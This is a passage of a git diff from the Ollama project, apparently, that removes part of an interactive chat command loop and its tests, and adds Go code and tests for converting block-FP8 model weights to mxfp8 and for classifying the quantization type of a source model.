Shortcuts:") - fmt.Fprintln(os.Stderr, " Ctrl+O Expand last tool output") - fmt.Fprintln(os.Stderr, "") - continue - case strings.HasPrefix(line, "/set"): - args := strings.Fields(line) - if len(args) > 1 { - switch args[1] { - case "history": - scanner.HistoryEnable() - case "nohistory": - scanner.HistoryDisable() - case "wordwrap": - wordWrap = true - fmt.Println("Set 'wordwrap' mode.") - case "nowordwrap": - wordWrap = false - fmt.Println("Set 'nowordwrap' mode.") - case "verbose": - if err := cmd.Flags().Set("verbose", "true"); err != nil { - return err - } - fmt.Println("Set 'verbose' mode.") - case "quiet": - if err := cmd.Flags().Set("verbose", "false"); err != nil { - return err - } - fmt.Println("Set 'quiet' mode.") - case "think": - thinkValue := api.ThinkValue{Value: true} - var maybeLevel string - if len(args) > 2 { - maybeLevel = args[2] - } - if maybeLevel != "" { - thinkValue.Value = maybeLevel - } - think = &thinkValue - // Check if model supports thinking - if client, err := api.ClientFromEnvironment(); err == nil { - if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil { - if !slices.Contains(resp.Capabilities, model.CapabilityThinking) { - fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName) - } - } - } - if maybeLevel != "" { - fmt.Printf("Set 'think' mode to '%s'.\n", maybeLevel) - } else { - fmt.Println("Set 'think' mode.") - } - case "nothink": - think = &api.ThinkValue{Value: false} - // Check if model supports thinking - if client, err := api.ClientFromEnvironment(); err == nil { - if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil { - if !slices.Contains(resp.Capabilities, model.CapabilityThinking) { - fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName) - } - } - } - fmt.Println("Set 'nothink' mode.") - case "format": - if len(args) < 3 || args[2] != "json" { - fmt.Println("Invalid or missing format. For 'json' mode use '/set format json'") - } else { - format = args[2] - fmt.Printf("Set format to '%s' mode.\n", args[2]) - } - case "noformat": - format = "" - fmt.Println("Disabled format.") - case "parameter": - if len(args) < 4 { - fmt.Println("Usage: /set parameter ") - continue - } - params := args[3:] - fp, err := api.FormatParams(map[string][]string{args[2]: params}) - if err != nil { - fmt.Printf("Couldn't set parameter: %q\n", err) - continue - } - fmt.Printf("Set parameter '%s' to '%s'\n", args[2], strings.Join(params, ", ")) - options[args[2]] = fp[args[2]] - case "system": - if len(args) < 3 { - fmt.Println("Usage: /set system ") - continue - } - - system = strings.Join(args[2:], " ") - newMessage := api.Message{Role: "system", Content: system} - if len(messages) > 0 && messages[len(messages)-1].Role == "system" { - messages[len(messages)-1] = newMessage - } else { - messages = append(messages, newMessage) - } - fmt.Println("Set system message.") - continue - default: - fmt.Printf("Unknown command '/set %s'. Type /? for help\n", args[1]) - } - } else { - fmt.Println("Usage: /set [value]") - } - continue - case strings.HasPrefix(line, "/show"): - args := strings.Fields(line) - if len(args) > 1 { - client, err := api.ClientFromEnvironment() - if err != nil { - fmt.Println("error: couldn't connect to ollama server") - continue - } - req := &api.ShowRequest{ - Name: modelName, - Options: options, - } - resp, err := client.Show(cmd.Context(), req) - if err != nil { - fmt.Println("error: couldn't get model") - continue - } - - switch args[1] { - case "info": - fmt.Fprintf(os.Stderr, " Model\n") - fmt.Fprintf(os.Stderr, " %-16s %s\n", "Name", modelName) - if resp.Details.Family != "" { - fmt.Fprintf(os.Stderr, " %-16s %s\n", "Family", resp.Details.Family) - } - if resp.Details.ParameterSize != "" { - fmt.Fprintf(os.Stderr, " %-16s %s\n", "Parameter Size", resp.Details.ParameterSize) - } - if resp.Details.QuantizationLevel != "" { - fmt.Fprintf(os.Stderr, " %-16s %s\n", "Quantization", resp.Details.QuantizationLevel) - } - if len(resp.Capabilities) > 0 { - caps := make([]string, len(resp.Capabilities)) - for i, c := range resp.Capabilities { - caps[i] = string(c) - } - fmt.Fprintf(os.Stderr, " %-16s %s\n", "Capabilities", strings.Join(caps, ", ")) - } - fmt.Fprintln(os.Stderr) - case "license": - if resp.License == "" { - fmt.Println("No license was specified for this model.") - } else { - fmt.Println(resp.License) - } - case "modelfile": - fmt.Println(resp.Modelfile) - case "parameters": - fmt.Println("Model defined parameters:") - if resp.Parameters == "" { - fmt.Println(" No additional parameters were specified.") - } else { - for _, l := range strings.Split(resp.Parameters, "\n") { - fmt.Printf(" %s\n", l) - } - } - if len(options) > 0 { - fmt.Println("\nUser defined parameters:") - for k, v := range options { - fmt.Printf(" %-30s %v\n", k, v) - } - } - case "system": - switch { - case system != "": - fmt.Println(system + "\n") - case resp.System != "": - fmt.Println(resp.System + "\n") - default: - fmt.Println("No system message was specified for this model.") - } - case "template": - if resp.Template != "" { - fmt.Println(resp.Template) - } else { - fmt.Println("No prompt template was specified for this model.") - } - default: - fmt.Printf("Unknown command '/show %s'. Type /? for help\n", args[1]) - } - } else { - fmt.Println("Usage: /show ") - } - continue - case strings.HasPrefix(line, "/load"): - args := strings.Fields(line) - if len(args) != 2 { - fmt.Println("Usage: /load ") - continue - } - newModelName := args[1] - fmt.Printf("Loading model '%s'\n", newModelName) - - // Create progress spinner - p := progress.NewProgress(os.Stderr) - spinner := progress.NewSpinner("") - p.Add("", spinner) - - // Get client - client, err := api.ClientFromEnvironment() - if err != nil { - p.StopAndClear() - fmt.Println("error: couldn't connect to ollama server") - continue - } - - // Check if model exists and get its info - info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: newModelName}) - if err != nil { - p.StopAndClear() - if strings.Contains(err.Error(), "not found") { - fmt.Printf("Couldn't find model '%s'\n", newModelName) - } else { - fmt.Printf("error: %v\n", err) - } - continue - } - - // For cloud models, no need to preload - if info.RemoteHost == "" { - // Preload the model by sending an empty generate request - req := &api.GenerateRequest{ - Model: newModelName, - Think: think, - } - err = client.Generate(cmd.Context(), req, func(r api.GenerateResponse) error { - return nil - }) - if err != nil { - p.StopAndClear() - if strings.Contains(err.Error(), "not found") { - fmt.Printf("Couldn't find model '%s'\n", newModelName) - } else if strings.Contains(err.Error(), "does not support thinking") { - fmt.Printf("error: %v\n", err) - } else { - fmt.Printf("error loading model: %v\n", err) - } - continue - } - } - - p.StopAndClear() - modelName = newModelName - messages = []api.Message{} - approval.Reset() - continue - case strings.HasPrefix(line, "/save"): - args := strings.Fields(line) - if len(args) != 2 { - fmt.Println("Usage: /save ") - continue - } - client, err := api.ClientFromEnvironment() - if err != nil { - fmt.Println("error: couldn't connect to ollama server") - continue - } - req := &api.CreateRequest{ - Model: args[1], - From: modelName, - Parameters: options, - Messages: messages, - } - fn := func(resp api.ProgressResponse) error { return nil } - err = client.Create(cmd.Context(), req, fn) - if err != nil { - fmt.Printf("error: %v\n", err) - continue - } - fmt.Printf("Created new model '%s'\n", args[1]) - continue - case strings.HasPrefix(line, "/"): - fmt.Printf("Unknown command '%s'. Type /? for help\n", strings.Fields(line)[0]) - continue - default: - sb.WriteString(line) - } - - if sb.Len() > 0 { - newMessage := api.Message{Role: "user", Content: sb.String()} - messages = append(messages, newMessage) - - verbose, _ := cmd.Flags().GetBool("verbose") - opts := RunOptions{ - Model: modelName, - Messages: messages, - WordWrap: wordWrap, - Format: format, - Options: options, - Think: think, - HideThinking: hideThinking, - KeepAlive: keepAlive, - Tools: toolRegistry, - Approval: approval, - YoloMode: yoloMode, - Verbose: verbose, - } - - assistant, err := Chat(cmd.Context(), opts) - if err != nil { - return err - } - if assistant != nil { - messages = append(messages, *assistant) - } - - sb.Reset() - } - } -} - -// showToolsStatus displays the current tools and approval status. -func showToolsStatus(registry *tools.Registry, approval *agent.ApprovalManager, supportsTools bool) { - if !supportsTools || registry == nil { - fmt.Println("Tools not available - model does not support tool calling") - fmt.Println() - return - } - - fmt.Println("Available tools:") - for _, name := range registry.Names() { - tool, _ := registry.Get(name) - fmt.Printf(" %s - %s\n", name, tool.Description()) - } - - allowed := approval.AllowedTools() - if len(allowed) > 0 { - fmt.Println("\nSession approvals:") - for _, key := range allowed { - fmt.Printf(" %s\n", key) - } - } else { - fmt.Println("\nNo tools approved for this session yet") - } - fmt.Println() -} diff --git a/x/cmd/run_test.go b/x/cmd/run_test.go deleted file mode 100644 index 75429f8ac..000000000 --- a/x/cmd/run_test.go +++ /dev/null @@ -1,190 +0,0 @@ -package cmd - -import ( - "testing" -) - -func TestIsLocalModel(t *testing.T) { - tests := []struct { - name string - modelName string - expected bool - }{ - { - name: "local model without suffix", - modelName: "llama3.2", - expected: true, - }, - { - name: "local model with version", - modelName: "qwen2.5:7b", - expected: true, - }, - { - name: "cloud model", - modelName: "gpt-oss:latest-cloud", - expected: false, - }, - { - name: "cloud model with :cloud suffix", - modelName: "gpt-oss:cloud", - expected: false, - }, - { - name: "cloud model with version", - modelName: "gpt-oss:20b-cloud", - expected: false, - }, - { - name: "cloud model with version and :cloud suffix", - modelName: "gpt-oss:20b:cloud", - expected: false, - }, - { - name: "empty model name", - modelName: "", - expected: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := isLocalModel(tt.modelName) - if result != tt.expected { - t.Errorf("isLocalModel(%q) = %v, expected %v", tt.modelName, result, tt.expected) - } - }) - } -} - -func TestIsLocalServer(t *testing.T) { - tests := []struct { - name string - host string - expected bool - }{ - { - name: "empty host (default)", - host: "", - expected: true, - }, - { - name: "localhost", - host: "http://localhost:11434", - expected: true, - }, - { - name: "127.0.0.1", - host: "http://127.0.0.1:11434", - expected: true, - }, - { - name: "custom port on localhost", - host: "http://localhost:8080", - expected: true, // localhost is always considered local - }, - { - name: "remote host", - host: "http://ollama.example.com:11434", - expected: true, // has :11434 - }, - { - name: "remote host different port", - host: "http://ollama.example.com:8080", - expected: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - t.Setenv("OLLAMA_HOST", tt.host) - result := isLocalServer() - if result != tt.expected { - t.Errorf("isLocalServer() with OLLAMA_HOST=%q = %v, expected %v", tt.host, result, tt.expected) - } - }) - } -} - -func TestTruncateToolOutput(t *testing.T) { - // Create outputs of different sizes - localLimitOutput := make([]byte, 20000) // > 4k tokens (16k chars) - defaultLimitOutput := make([]byte, 50000) // > 10k tokens (40k chars) - for i := range localLimitOutput { - localLimitOutput[i] = 'a' - } - for i := range defaultLimitOutput { - defaultLimitOutput[i] = 'b' - } - - tests := []struct { - name string - output string - modelName string - host string - shouldTrim bool - expectedLimit int - }{ - { - name: "short output local model", - output: "hello world", - modelName: "llama3.2", - host: "", - shouldTrim: false, - expectedLimit: localModelTokenLimit, - }, - { - name: "long output local model - trimmed at 4k", - output: string(localLimitOutput), - modelName: "llama3.2", - host: "", - shouldTrim: true, - expectedLimit: localModelTokenLimit, - }, - { - name: "long output cloud model - uses 10k limit", - output: string(localLimitOutput), // 20k chars, under 10k token limit - modelName: "gpt-oss:latest-cloud", - host: "", - shouldTrim: false, - expectedLimit: defaultTokenLimit, - }, - { - name: "very long output cloud model - trimmed at 10k", - output: string(defaultLimitOutput), - modelName: "gpt-oss:latest-cloud", - host: "", - shouldTrim: true, - expectedLimit: defaultTokenLimit, - }, - { - name: "long output remote server - uses 10k limit", - output: string(localLimitOutput), - modelName: "llama3.2", - host: "http://remote.example.com:8080", - shouldTrim: false, - expectedLimit: defaultTokenLimit, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - t.Setenv("OLLAMA_HOST", tt.host) - result := truncateToolOutput(tt.output, tt.modelName) - - if tt.shouldTrim { - maxLen := tt.expectedLimit * charsPerToken - if len(result) > maxLen+50 { // +50 for the truncation message - t.Errorf("expected output to be truncated to ~%d chars, got %d", maxLen, len(result)) - } - if result == tt.output { - t.Error("expected output to be truncated but it wasn't") - } - } else { - if result != tt.output { - t.Error("expected output to not be truncated") - } - } - }) - } -} diff --git a/x/create/blockfp8.go b/x/create/blockfp8.go new file mode 100644 index 000000000..359423e9e --- /dev/null +++ b/x/create/blockfp8.go @@ -0,0 +1,173 @@ +package create + +import ( + "fmt" + "slices" + "sort" + "strings" +) + +// planBlockFP8 plans an HF block-FP8 source. MLX has no FP8 tensor type, so +// every FP8 weight is decoded to BF16 using its block scale and then quantized +// to the target (mxfp8); a weight the policy declines is still decoded and kept +// at BF16 (it is never stored as FP8). Everything else passes through at source +// precision. +func planBlockFP8(inv Inventory, target string, policy quantizePolicy) ([]BlobSpec, error) { + // The scale companion of each FP8 weight is folded into that weight's + // blob, so it is not emitted on its own. + consumed := make(map[string]bool) + for _, name := range sortedTensorNames(inv) { + if isFP8Weight(inv, name) { + if scale, ok := fp8ScaleFor(inv, name); ok { + consumed[scale] = true + } + } + } + + groups := make(map[string][]SourceTensor) + fp8Groups := make(map[string][]SourceTensor) + specs := make([]BlobSpec, 0, len(inv.Tensors)) + for _, name := range sortedTensorNames(inv) { + if consumed[name] { + continue + } + t := inv.Tensors[name] + + if isFP8Weight(inv, name) { + // Disjoint per-expert FP8 weights are stacked, decoded, and + // quantized together by planFP8ExpertGroup; an already-stacked (3D) + // FP8 expert tensor falls through to the single-tensor decode below. + if gp, perExpert := perExpertGroup(name); perExpert { + fp8Groups[gp] = append(fp8Groups[gp], t) + continue + } + scaleName, ok := fp8ScaleFor(inv, name) + if !ok { + return nil, fmt.Errorf("fp8 weight %q has no scale companion", name) + } + specs = append(specs, BlobSpec{ + Name: name, + Tensors: []TensorSpec{{ + Name: name, + Sources: []SourceTensor{t, inv.Tensors[scaleName]}, + Transform: TransformDecodeFP8, + Quantize: policy.quantizationType(name, t.Shape, target), + OutDtype: "BF16", + OutShape: t.Shape, + }}, + }) + continue + } + + if gp, ok := perExpertGroup(name); ok { + groups[gp] = append(groups[gp], t) + continue + } + + specs = append(specs, BlobSpec{ + Name: name, + Tensors: []TensorSpec{{Name: name, Sources: []SourceTensor{t}}}, + }) + } + + for _, gp := range sortedKeys(groups) { + spec, err := planExpertGroup(gp, groups[gp], "", policy) + if err != nil { + return nil, err + } + specs = append(specs, spec) + } + for _, gp := range sortedKeys(fp8Groups) { + spec, err := planFP8ExpertGroup(gp, fp8Groups[gp], inv, target, policy) + if err != nil { + return nil, err + } + specs = append(specs, spec) + } + return specs, nil +} + +// planFP8ExpertGroup packs a layer's disjoint per-expert block-FP8 weights into +// one blob: the experts of each projection are stacked into [experts, out, in], +// dequantized from FP8 with their block scales, and quantized per the policy. +// The stacking, decode, and quantize all run on the MLX writer thread; the +// planner only groups and orders the source weights and their scale companions. +func planFP8ExpertGroup(groupPrefix string, tensors []SourceTensor, inv Inventory, target string, policy quantizePolicy) (BlobSpec, error) { + type expert struct { + idx int + weight SourceTensor + scale SourceTensor + } + byProj := make(map[string][]expert) + for _, t := range tensors { + idx, proj, err := parseExpertTensor(groupPrefix, t.Name) + if err != nil { + return BlobSpec{}, err + } + scaleName, ok := fp8ScaleFor(inv, t.Name) + if !ok { + return BlobSpec{}, fmt.Errorf("fp8 expert weight %q has no scale companion", t.Name) + } + byProj[proj] = append(byProj[proj], expert{idx: idx, weight: t, scale: inv.Tensors[scaleName]}) + } + + spec := BlobSpec{Name: groupPrefix} + for _, proj := range sortedKeys(byProj) { + experts := byProj[proj] + sort.Slice(experts, func(i, j int) bool { return experts[i].idx < experts[j].idx }) + + base := experts[0].weight + baseScale := experts[0].scale + // Sources are the N weights followed by the N scales, in expert order, + // matching what TransformDecodeStackFP8 expects. + sources := make([]SourceTensor, 0, 2*len(experts)) + scales := make([]SourceTensor, 0, len(experts)) + for _, e := range experts { + if e.weight.Dtype != base.Dtype || !slices.Equal(e.weight.Shape, base.Shape) { + return BlobSpec{}, fmt.Errorf("fp8 expert group %s projection %s has mismatched weight layout (%s %v vs %s %v)", + groupPrefix, proj, base.Dtype, base.Shape, e.weight.Dtype, e.weight.Shape) + } + if e.scale.Dtype != baseScale.Dtype || !slices.Equal(e.scale.Shape, baseScale.Shape) { + return BlobSpec{}, fmt.Errorf("fp8 expert group %s projection %s has mismatched scale layout (%s %v vs %s %v)", + groupPrefix, proj, baseScale.Dtype, baseScale.Shape, e.scale.Dtype, e.scale.Shape) + } + sources = append(sources, e.weight) + scales = append(scales, e.scale) + } + sources = append(sources, scales...) + + stackedName := groupPrefix + "." + proj + ".weight" + stackedShape := append([]int32{int32(len(experts))}, base.Shape...) + spec.Tensors = append(spec.Tensors, TensorSpec{ + Name: stackedName, + Sources: sources, + Transform: TransformDecodeStackFP8, + Quantize: policy.quantizationType(stackedName, stackedShape, target), + OutDtype: base.Dtype, + OutShape: stackedShape, + }) + } + return spec, nil +} + +// isFP8Weight reports whether name is an F8_E4M3 weight with a block-scale +// companion (the form that must be decoded before use). +func isFP8Weight(inv Inventory, name string) bool { + t, ok := inv.Tensors[name] + if !ok || !strings.HasSuffix(name, ".weight") || !isE4M3Dtype(t.Dtype) { + return false + } + _, ok = fp8ScaleFor(inv, name) + return ok +} + +// fp8ScaleFor returns the block-scale companion name for an FP8 weight, +// preferring "_scale_inv" over "_scale" (matching the source conventions). +func fp8ScaleFor(inv Inventory, weightName string) (string, bool) { + for _, suffix := range []string{"_scale_inv", "_scale"} { + if s := weightName + suffix; inv.Has(s) { + return s, true + } + } + return "", false +} diff --git a/x/create/blockfp8_test.go b/x/create/blockfp8_test.go new file mode 100644 index 000000000..4a75c3781 --- /dev/null +++ b/x/create/blockfp8_test.go @@ -0,0 +1,132 @@ +package create + +import ( + "slices" + "testing" +) + +func blockFP8(tensors map[string]string) Inventory { + // Block-fp8 sources are routed to planBlockFP8 by kind; the config is not + // needed once classified, so build the inventory directly with realistic + // shapes for the quantize policy. + m := make(map[string]SourceTensor) + for name, dtype := range tensors { + shape := []int32{256, 256} + if dtype != "F8_E4M3" && dtype != "BF16" { + shape = []int32{1} // scale companions are small + } + m[name] = SourceTensor{Name: name, Dtype: dtype, Shape: shape} + } + return Inventory{Dir: "test", Tensors: m} +} + +func TestPlanBlockFP8(t *testing.T) { + inv := blockFP8(map[string]string{ + "model.layers.0.self_attn.q_proj.weight": "F8_E4M3", + "model.layers.0.self_attn.q_proj.weight_scale_inv": "F32", + "model.layers.0.mlp.down_proj.weight": "F8_E4M3", + "model.layers.0.mlp.down_proj.weight_scale_inv": "F32", + "model.layers.0.input_layernorm.weight": "F32", // norm stays as-is + "model.embed_tokens.weight": "BF16", + "lm_head.weight": "BF16", + }) + + specs, err := Plan(inv, Classification{Kind: SourceBlockFP8, Quantize: "mxfp8"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + + // FP8 weight: decode + quantize to mxfp8, scale folded in (not its own blob). + q, ok := specByName(specs, "model.layers.0.self_attn.q_proj.weight") + if !ok { + t.Fatal("missing q_proj blob") + } + ts := q.Tensors[0] + if ts.Transform != TransformDecodeFP8 || ts.Quantize != "mxfp8" || ts.OutDtype != "BF16" { + t.Errorf("q_proj = %+v, want decode_fp8 + mxfp8 + BF16", ts) + } + if len(ts.Sources) != 2 || ts.Sources[0].Name != "model.layers.0.self_attn.q_proj.weight" || + ts.Sources[1].Name != "model.layers.0.self_attn.q_proj.weight_scale_inv" { + t.Errorf("q_proj sources = %v, want [weight, scale_inv]", ts.Sources) + } + if _, leaked := specByName(specs, "model.layers.0.self_attn.q_proj.weight_scale_inv"); leaked { + t.Error("scale companion must not be its own blob") + } + + // Norm stays at source precision (F32), not quantized, not cast. + norm, _ := specByName(specs, "model.layers.0.input_layernorm.weight") + if norm.Tensors[0].Quantize != "" || norm.Tensors[0].Transform != TransformNone || norm.Tensors[0].OutDtype != "" { + t.Errorf("norm = %+v, want kept at source precision", norm.Tensors[0]) + } + + // BF16 weights pass through untouched. + lmHead, _ := specByName(specs, "lm_head.weight") + if lmHead.Tensors[0].Quantize != "" || lmHead.Tensors[0].Transform != TransformNone { + t.Errorf("lm_head = %+v, want kept at source precision", lmHead.Tensors[0]) + } +} + +func TestPlanBlockFP8PrestackedExperts(t *testing.T) { + // A pre-stacked fp8 expert tensor (one [E, out, in] tensor + one scale) + // decodes + quantizes as an ordinary tensor — no per-expert stacking. + inv := Inventory{Dir: "test", Tensors: map[string]SourceTensor{ + "model.layers.0.mlp.experts.gate_up_proj.weight": {Name: "model.layers.0.mlp.experts.gate_up_proj.weight", Dtype: "F8_E4M3", Shape: []int32{8, 512, 256}}, + "model.layers.0.mlp.experts.gate_up_proj.weight_scale_inv": {Name: "model.layers.0.mlp.experts.gate_up_proj.weight_scale_inv", Dtype: "F32", Shape: []int32{8, 4, 2}}, + }} + specs, err := Plan(inv, Classification{Kind: SourceBlockFP8, Quantize: "mxfp8"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + w, ok := specByName(specs, "model.layers.0.mlp.experts.gate_up_proj.weight") + if !ok || len(specs) != 1 { + t.Fatalf("want single decode blob; got %v", specNames(specs)) + } + ts := w.Tensors[0] + if ts.Transform != TransformDecodeFP8 || ts.Quantize != "mxfp8" || !slices.Equal(ts.OutShape, []int32{8, 512, 256}) { + t.Errorf("pre-stacked fp8 expert = %+v, want decode_fp8 + mxfp8 + 3D shape", ts) + } +} + +func TestPlanBlockFP8PerExpertStacked(t *testing.T) { + // Disjoint per-expert fp8 weights are grouped by projection, stacked into one + // [experts, out, in] tensor, and decoded+quantized together. Sources are the + // N weights followed by the N scales, in expert-index order. + inv := Inventory{Dir: "test", Tensors: map[string]SourceTensor{ + "model.layers.0.mlp.experts.0.gate_proj.weight": {Name: "model.layers.0.mlp.experts.0.gate_proj.weight", Dtype: "F8_E4M3", Shape: []int32{256, 256}}, + "model.layers.0.mlp.experts.0.gate_proj.weight_scale": {Name: "model.layers.0.mlp.experts.0.gate_proj.weight_scale", Dtype: "BF16", Shape: []int32{2, 2}}, + "model.layers.0.mlp.experts.1.gate_proj.weight": {Name: "model.layers.0.mlp.experts.1.gate_proj.weight", Dtype: "F8_E4M3", Shape: []int32{256, 256}}, + "model.layers.0.mlp.experts.1.gate_proj.weight_scale": {Name: "model.layers.0.mlp.experts.1.gate_proj.weight_scale", Dtype: "BF16", Shape: []int32{2, 2}}, + }} + specs, err := Plan(inv, Classification{Kind: SourceBlockFP8, Quantize: "mxfp8"}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + if len(specs) != 1 { + t.Fatalf("want single stacked blob; got %v", specNames(specs)) + } + spec, ok := specByName(specs, "model.layers.0.mlp.experts") + if !ok || len(spec.Tensors) != 1 { + t.Fatalf("want one stacked expert group; got %v", specNames(specs)) + } + ts := spec.Tensors[0] + if ts.Name != "model.layers.0.mlp.experts.gate_proj.weight" { + t.Errorf("stacked name = %q, want model.layers.0.mlp.experts.gate_proj.weight", ts.Name) + } + if ts.Transform != TransformDecodeStackFP8 || ts.Quantize != "mxfp8" || ts.OutDtype != "F8_E4M3" || !slices.Equal(ts.OutShape, []int32{2, 256, 256}) { + t.Errorf("stacked fp8 expert = %+v, want decode_stack_fp8 + mxfp8 + F8_E4M3 + [2 256 256]", ts) + } + wantSources := []string{ + "model.layers.0.mlp.experts.0.gate_proj.weight", + "model.layers.0.mlp.experts.1.gate_proj.weight", + "model.layers.0.mlp.experts.0.gate_proj.weight_scale", + "model.layers.0.mlp.experts.1.gate_proj.weight_scale", + } + if len(ts.Sources) != len(wantSources) { + t.Fatalf("sources = %d, want %d (N weights then N scales)", len(ts.Sources), len(wantSources)) + } + for i, want := range wantSources { + if ts.Sources[i].Name != want { + t.Errorf("source[%d] = %q, want %q", i, ts.Sources[i].Name, want) + } + } +} diff --git a/x/create/classify.go b/x/create/classify.go new file mode 100644 index 000000000..92507d497 --- /dev/null +++ b/x/create/classify.go @@ -0,0 +1,166 @@ +package create + +import ( + "fmt" + "strings" + + "github.com/ollama/ollama/x/quant" +) + +// SourceKind is the overarching dtype for a given safetensors model +type SourceKind int + +const ( + SourceFloat SourceKind = iota // bf16/fp16/fp32 — quantizable on request + SourceBlockFP8 // HF block-FP8 — auto-converted to mxfp8 + SourcePrequantized // already quantized — copied through +) + +func (k SourceKind) String() string { + switch k { + case SourceFloat: + return "float" + case SourceBlockFP8: + return "block-fp8" + case SourcePrequantized: + return "prequantized" + default: + return "unknown" + } +} + +// Classification is the decision about a source model: its kind and the +// quantization that will actually be applied. An empty Quantize means the +// tensors are stored at source precision (no quantization). +type Classification struct { + Kind SourceKind + Quantize string +} + +// Classify decides a source model's kind and resolves the effective +// quantization from the user's requested type, rejecting requests that are not +// allowed for the kind. +func Classify(inv Inventory, requested string) (Classification, error) { + requested, err := normalizeRequested(requested) + if err != nil { + return Classification{}, err + } + + if name, ok := firstUnsupportedFP8(inv); ok { + return Classification{}, fmt.Errorf("unsupported fp8 source: tensor %s is F8_E5M2; only F8_E4M3 block-FP8 sources are supported", name) + } + + switch detectKind(inv) { + case SourceFloat: + return Classification{Kind: SourceFloat, Quantize: requested}, nil + + case SourcePrequantized: + if requested != "" { + return Classification{}, fmt.Errorf("cannot requantize an already-quantized source model (requested %q): only bf16/fp16/fp32 sources can be quantized", requested) + } + return Classification{Kind: SourcePrequantized}, nil + + case SourceBlockFP8: + rows, cols, ok := inv.Config.HFFP8WeightBlockSize() + if !ok { + return Classification{}, fmt.Errorf("fp8 source model is missing weight_block_size metadata") + } + if rows != 128 || cols != 128 { + return Classification{}, fmt.Errorf("unsupported fp8 source block size %dx%d (only 128x128 is supported)", rows, cols) + } + if requested != "" { + return Classification{}, fmt.Errorf("cannot quantize an fp8 source model (requested %q): fp8 sources are converted to mxfp8 automatically; only bf16/fp16/fp32 sources can be quantized", requested) + } + return Classification{Kind: SourceBlockFP8, Quantize: "mxfp8"}, nil + } + + return Classification{}, fmt.Errorf("could not classify source model in %s", inv.Dir) +} + +// normalizeRequested validates the user's quantize value and returns its +// canonical form ("" for no quantization). +func normalizeRequested(requested string) (string, error) { + if strings.TrimSpace(requested) == "" { + return "", nil + } + c := quant.Canonical(requested) + if c == "" { + return "", fmt.Errorf("unsupported quantize type %q: supported types are int4, int8, nvfp4, mxfp4, mxfp8", requested) + } + return c, nil +} + +// detectKind sorts a source into Float, BlockFP8, or Prequantized using only +// the inventory's tensor names, dtypes, and config. Prequantized is detected +// from the tensors themselves, so a model whose quantization config sidecar is +// missing (e.g. a ModelOpt checkpoint without hf_quant_config.json) is still +// recognized as already-quantized and not mistaken for a float model. +func detectKind(inv Inventory) SourceKind { + var hasMLXScales, hasPacked, hasNVFP4Scale, hasFP8Weight bool + for name, t := range inv.Tensors { + switch { + case strings.HasSuffix(name, ".scales"): + hasMLXScales = true + case strings.HasSuffix(name, ".weight_packed"): + hasPacked = true + case strings.HasSuffix(name, ".weight_scale"): + // An NVFP4 per-block scale sits on a packed (U8) weight. A + // block-FP8 source also has a scale companion, but its weight is + // F8_E4M3 — so the base weight's dtype disambiguates the two. + if bt, ok := inv.Tensors[strings.TrimSuffix(name, "_scale")]; ok && isPackedDtype(bt.Dtype) { + hasNVFP4Scale = true + } + } + if strings.HasSuffix(name, ".weight") && isE4M3Dtype(t.Dtype) { + hasFP8Weight = true + } + } + + switch { + case hasMLXScales || hasPacked || hasNVFP4Scale: + return SourcePrequantized + case hasFP8Weight: + return SourceBlockFP8 + default: + return SourceFloat + } +} + +// firstUnsupportedFP8 returns the name of the first F8_E5M2 weight in the +// source, if any. We decode only E4M3, so an E5M2 source must be rejected +// explicitly rather than silently mishandled. +func firstUnsupportedFP8(inv Inventory) (string, bool) { + for name, t := range inv.Tensors { + if strings.HasSuffix(name, ".weight") && isE5M2Dtype(t.Dtype) { + return name, true + } + } + return "", false +} + +func isPackedDtype(dtype string) bool { + switch strings.ToUpper(dtype) { + case "U8", "U32": // current .weight_scale producers ship U8; U32 covers a future word-packed source + return true + default: + return false + } +} + +func isE4M3Dtype(dtype string) bool { + switch strings.ToUpper(dtype) { + case "F8_E4M3", "F8_E4M3FN": + return true + default: + return false + } +} + +func isE5M2Dtype(dtype string) bool { + switch strings.ToUpper(dtype) { + case "F8_E5M2", "F8_E5M2FNUZ": + return true + default: + return false + } +} diff --git a/x/create/classify_test.go b/x/create/classify_test.go new file mode 100644 index 000000000..84e696cc4 --- /dev/null +++ b/x/create/classify_test.go @@ -0,0 +1,149 @@ +package create + +import ( + "strings" + "testing" +) + +func newInventory(cfg sourceModelConfig, tensors map[string]string) Inventory { + m := make(map[string]SourceTensor) + for name, dtype := range tensors { + m[name] = SourceTensor{Name: name, Dtype: dtype, Shape: []int32{128, 128}, File: "model.safetensors"} + } + return Inventory{Dir: "test", Config: cfg, Tensors: m} +} + +func fp8BlockConfig(rows, cols int32) sourceModelConfig { + return sourceModelConfig{ + QuantizationConfig: sourceQuantization{QuantMethod: "fp8", WeightBlockSize: []int32{rows, cols}}, + } +} + +func TestClassify(t *testing.T) { + tests := []struct { + name string + cfg sourceModelConfig + tensors map[string]string + requested string + wantKind SourceKind + wantQuant string + }{ + { + name: "float, no quantize", + tensors: map[string]string{"model.embed.weight": "BF16", "model.layers.0.weight": "BF16"}, + wantKind: SourceFloat, + }, + { + name: "float, quantize int4", + tensors: map[string]string{"model.layers.0.weight": "BF16"}, + requested: "int4", + wantKind: SourceFloat, + wantQuant: "int4", + }, + { + name: "float, quantize alias fp8 resolves to int8", + tensors: map[string]string{"model.layers.0.weight": "F32"}, + requested: "fp8", + wantKind: SourceFloat, + wantQuant: "int8", + }, + { + name: "mlx prequantized (.scales)", + tensors: map[string]string{"model.layers.0.weight": "U32", "model.layers.0.scales": "BF16"}, + wantKind: SourcePrequantized, + }, + { + // ModelOpt NVFP4 whose hf_quant_config.json sidecar is absent: + // recognized from the packed weight + scale companion (finding #7). + name: "modelopt nvfp4 without config sidecar", + tensors: map[string]string{"model.layers.0.weight": "U8", "model.layers.0.weight_scale": "F8_E4M3"}, + wantKind: SourcePrequantized, + }, + { + name: "compressed-tensors nvfp4 (.weight_packed)", + tensors: map[string]string{"model.layers.0.weight_packed": "U8", "model.layers.0.weight_scale": 